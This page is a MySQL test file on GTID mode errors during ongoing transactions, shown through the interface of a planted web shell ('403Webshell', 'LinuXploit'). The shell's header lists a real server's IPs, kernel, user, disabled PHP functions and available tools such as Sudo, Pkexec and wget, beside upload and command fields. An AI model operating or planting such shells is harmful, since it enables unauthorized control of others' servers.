403Webshell
Server IP : 172.67.216.182  /  Your IP : 172.70.142.149
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/mysql-test/suite/binlog/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/mysql-test/suite/binlog/t/binlog_set_gtid_mode_ongoing_transaction_errors.test
# ==== Purpose ====
#
# Test that SET GTID_MODE and SET ENFORCE_GTID_CONSISTENCY generate
# the correct error messages when there are ongoing transactions that
# violate the new GTID_MODE or violate the new GTID consistency mode.
#
# ==== Implementation ====
#
# In connection master we begin a transaction.  In connection master1
# we try to change GTID_MODE and ENFORCE_GTID_CONSISTENCY.  We try
# five types of transactions:
#
# 1. GTID-consistent transaction with GTID_NEXT=AUTOMATIC.
#
#    It should be allowed to switch freely between all GTID_MODEs and
#    all ENFORCE_GTID_CONSISTENCY modes.
#
# 2. GTID-violating transaction with GTID_NEXT=AUTOMATIC.
#
#    Only GTID_MODE=OFF and OFF_PERMISSIVE should be allowed.  Only
#    ENFORCE_GTID_CONSISTENCY=OFF and WARN should be allowed.  With
#    WARN, a warning should be generated.
#
# 3. GTID-consistent transaction with GTID_NEXT=ANONYMOUS.
#
#    All GTID_MODE values except ON should be allowed.  Only
#    ENFORCE_GTID_CONSISTENCY=OFF and WARN should be allowed.  With
#    WARN, a warning should be generated.
#
# 4. GTID-violating transaction with GTID_NEXT=ANONYMOUS.
#
#    Same as 2.
#
# 5. GTID-consistent transaction with GTID_NEXT='UUID:NUMBER'.
#
#    All GTID_MODE values except GTID_MODE=OFF should be allowed.  All
#    ENFORCE_GTID_CONSISTENCY modes should be allowed.


--let $rpl_extra_connections_per_server= 2
--let $rpl_topology= none
--let $rpl_server_count= 1
--let $rpl_gtid_utils= 1
--source include/rpl_init.inc
--source include/rpl_default_connections.inc

CALL mtr.add_suppression("Statement violates GTID consistency:");

CREATE TABLE innodb (a INT) ENGINE = InnoDB;
CREATE TABLE myisam (a INT) ENGINE = MyISAM;

# Since we explicitly change gtid_mode, no point running in multiple
# gtid_modes.
--source include/not_gtid_enabled.inc

--echo ==== AUTOMATIC, GTID-consistent: all modes ok ====

--source include/rpl_connection_master.inc
BEGIN;
  INSERT INTO innodb VALUES (1);

--source include/rpl_connection_master1.inc
SET GLOBAL ENFORCE_GTID_CONSISTENCY = WARN;
SET GLOBAL ENFORCE_GTID_CONSISTENCY = ON;
SET GLOBAL GTID_MODE = OFF_PERMISSIVE;
SET GLOBAL GTID_MODE = ON_PERMISSIVE;
SET GLOBAL GTID_MODE = ON;

--source include/rpl_connection_master.inc
COMMIT;

--source include/rpl_connection_master.inc
BEGIN;
  INSERT INTO innodb VALUES (1);

--source include/rpl_connection_master1.inc
SET GLOBAL GTID_MODE = ON_PERMISSIVE;
SET GLOBAL ENFORCE_GTID_CONSISTENCY = OFF;
SET GLOBAL GTID_MODE = OFF_PERMISSIVE;
SET GLOBAL GTID_MODE = OFF;
SET GLOBAL ENFORCE_GTID_CONSISTENCY = WARN;
SET GLOBAL ENFORCE_GTID_CONSISTENCY = OFF;

--source include/rpl_connection_master.inc
COMMIT;

--echo ==== AUTOMATIC, GTID-violating: only OFF and OFF_PERMISSIVE ok ====

--source include/rpl_connection_master.inc
BEGIN;
  INSERT INTO innodb VALUES (1);
  INSERT INTO myisam VALUES (1);

--source include/rpl_connection_master1.inc
SET GLOBAL ENFORCE_GTID_CONSISTENCY = WARN;
--error ER_CANT_SET_ENFORCE_GTID_CONSISTENCY_ON_WITH_ONGOING_GTID_VIOLATING_TRANSACTIONS
SET GLOBAL ENFORCE_GTID_CONSISTENCY = ON;
SET GLOBAL GTID_MODE = OFF_PERMISSIVE;
--error ER_CANT_SET_GTID_MODE
SET GLOBAL GTID_MODE = ON_PERMISSIVE;
SET GLOBAL ENFORCE_GTID_CONSISTENCY = OFF;

--source include/rpl_connection_master.inc
COMMIT;

SET GLOBAL GTID_MODE = OFF_PERMISSIVE;
--source include/rpl_connection_master.inc
BEGIN;
  INSERT INTO innodb VALUES (1);
  INSERT INTO myisam VALUES (1);

--source include/rpl_connection_master1.inc
SET GLOBAL ENFORCE_GTID_CONSISTENCY = WARN;
--error ER_CANT_SET_ENFORCE_GTID_CONSISTENCY_ON_WITH_ONGOING_GTID_VIOLATING_TRANSACTIONS
SET GLOBAL ENFORCE_GTID_CONSISTENCY = ON;
--error ER_CANT_SET_GTID_MODE
SET GLOBAL GTID_MODE = ON_PERMISSIVE;
SET GLOBAL GTID_MODE = OFF;
SET GLOBAL ENFORCE_GTID_CONSISTENCY = OFF;

--source include/rpl_connection_master.inc
COMMIT;

--echo ==== ANONYMOUS, GTID-consistent: all except ON are ok ====

--source include/rpl_connection_master.inc
SET GTID_NEXT = 'ANONYMOUS';
BEGIN;
  INSERT INTO innodb VALUES (1);

--source include/rpl_connection_master1.inc
SET GLOBAL ENFORCE_GTID_CONSISTENCY = WARN;
SET GLOBAL ENFORCE_GTID_CONSISTENCY = ON;
SET GLOBAL GTID_MODE = OFF_PERMISSIVE;
SET GLOBAL GTID_MODE = ON_PERMISSIVE;
--error ER_CANT_SET_GTID_MODE
SET GLOBAL GTID_MODE = ON;

--source include/rpl_connection_master.inc
COMMIT;

--source include/rpl_connection_master.inc
SET GTID_NEXT = 'ANONYMOUS';
BEGIN;
  INSERT INTO innodb VALUES (1);

--source include/rpl_connection_master1.inc
SET GLOBAL ENFORCE_GTID_CONSISTENCY = WARN;
SET GLOBAL ENFORCE_GTID_CONSISTENCY = ON;
--error ER_CANT_SET_GTID_MODE
SET GLOBAL GTID_MODE = ON;
SET GLOBAL GTID_MODE = OFF_PERMISSIVE;
SET GLOBAL GTID_MODE = OFF;
SET GLOBAL ENFORCE_GTID_CONSISTENCY = OFF;

--source include/rpl_connection_master.inc
COMMIT;

--echo ==== ANONYMOUS, GTID-violating: all except ON are ok ====

--source include/rpl_connection_master.inc
SET GTID_NEXT = 'ANONYMOUS';
BEGIN;
  INSERT INTO innodb VALUES (1);
  INSERT INTO myisam VALUES (1);

--source include/rpl_connection_master1.inc
SET GLOBAL ENFORCE_GTID_CONSISTENCY = WARN;
--error ER_CANT_SET_ENFORCE_GTID_CONSISTENCY_ON_WITH_ONGOING_GTID_VIOLATING_TRANSACTIONS
SET GLOBAL ENFORCE_GTID_CONSISTENCY = ON;
SET GLOBAL GTID_MODE = OFF_PERMISSIVE;
SET GLOBAL GTID_MODE = ON_PERMISSIVE;
--error ER_CANT_SET_GTID_MODE
SET GLOBAL GTID_MODE = ON;

--source include/rpl_connection_master.inc
COMMIT;

--source include/rpl_connection_master.inc
SET GTID_NEXT = 'ANONYMOUS';
BEGIN;
  INSERT INTO innodb VALUES (1);
  INSERT INTO myisam VALUES (1);

--source include/rpl_connection_master1.inc
SET GLOBAL ENFORCE_GTID_CONSISTENCY = WARN;
--error ER_CANT_SET_ENFORCE_GTID_CONSISTENCY_ON_WITH_ONGOING_GTID_VIOLATING_TRANSACTIONS
SET GLOBAL ENFORCE_GTID_CONSISTENCY = ON;
--error ER_CANT_SET_GTID_MODE
SET GLOBAL GTID_MODE = ON;
SET GLOBAL GTID_MODE = OFF_PERMISSIVE;
SET GLOBAL GTID_MODE = OFF;
SET GLOBAL ENFORCE_GTID_CONSISTENCY = OFF;

--source include/rpl_connection_master.inc
COMMIT;

--echo ==== GTID transaction: all except OFF are ok ====

SET GLOBAL GTID_MODE = OFF_PERMISSIVE;

--source include/rpl_connection_master.inc
eval SET GTID_NEXT = '$uuida:1';
BEGIN;
  INSERT INTO innodb VALUES (1);

--source include/rpl_connection_master1.inc
--error ER_CANT_SET_GTID_MODE
SET GLOBAL GTID_MODE = OFF;
SET GLOBAL ENFORCE_GTID_CONSISTENCY = WARN;
SET GLOBAL ENFORCE_GTID_CONSISTENCY = OFF;
SET GLOBAL ENFORCE_GTID_CONSISTENCY = ON;
SET GLOBAL GTID_MODE = ON_PERMISSIVE;
SET GLOBAL GTID_MODE = ON;

--source include/rpl_connection_master.inc
COMMIT;

--source include/rpl_connection_master.inc
eval SET GTID_NEXT = '$uuida:2';
BEGIN;
  INSERT INTO innodb VALUES (1);

--source include/rpl_connection_master1.inc
SET GLOBAL GTID_MODE = ON_PERMISSIVE;
SET GLOBAL ENFORCE_GTID_CONSISTENCY = WARN;
SET GLOBAL ENFORCE_GTID_CONSISTENCY = OFF;
SET GLOBAL GTID_MODE = OFF_PERMISSIVE;
--error ER_CANT_SET_GTID_MODE
SET GLOBAL GTID_MODE = OFF;

--source include/rpl_connection_master.inc
COMMIT;
SET GLOBAL GTID_MODE = OFF;

SET GTID_NEXT = AUTOMATIC;
DROP TABLE innodb, myisam;

--source include/rpl_end.inc

Youez - 2016 - github.com/yon3zu
LinuXploit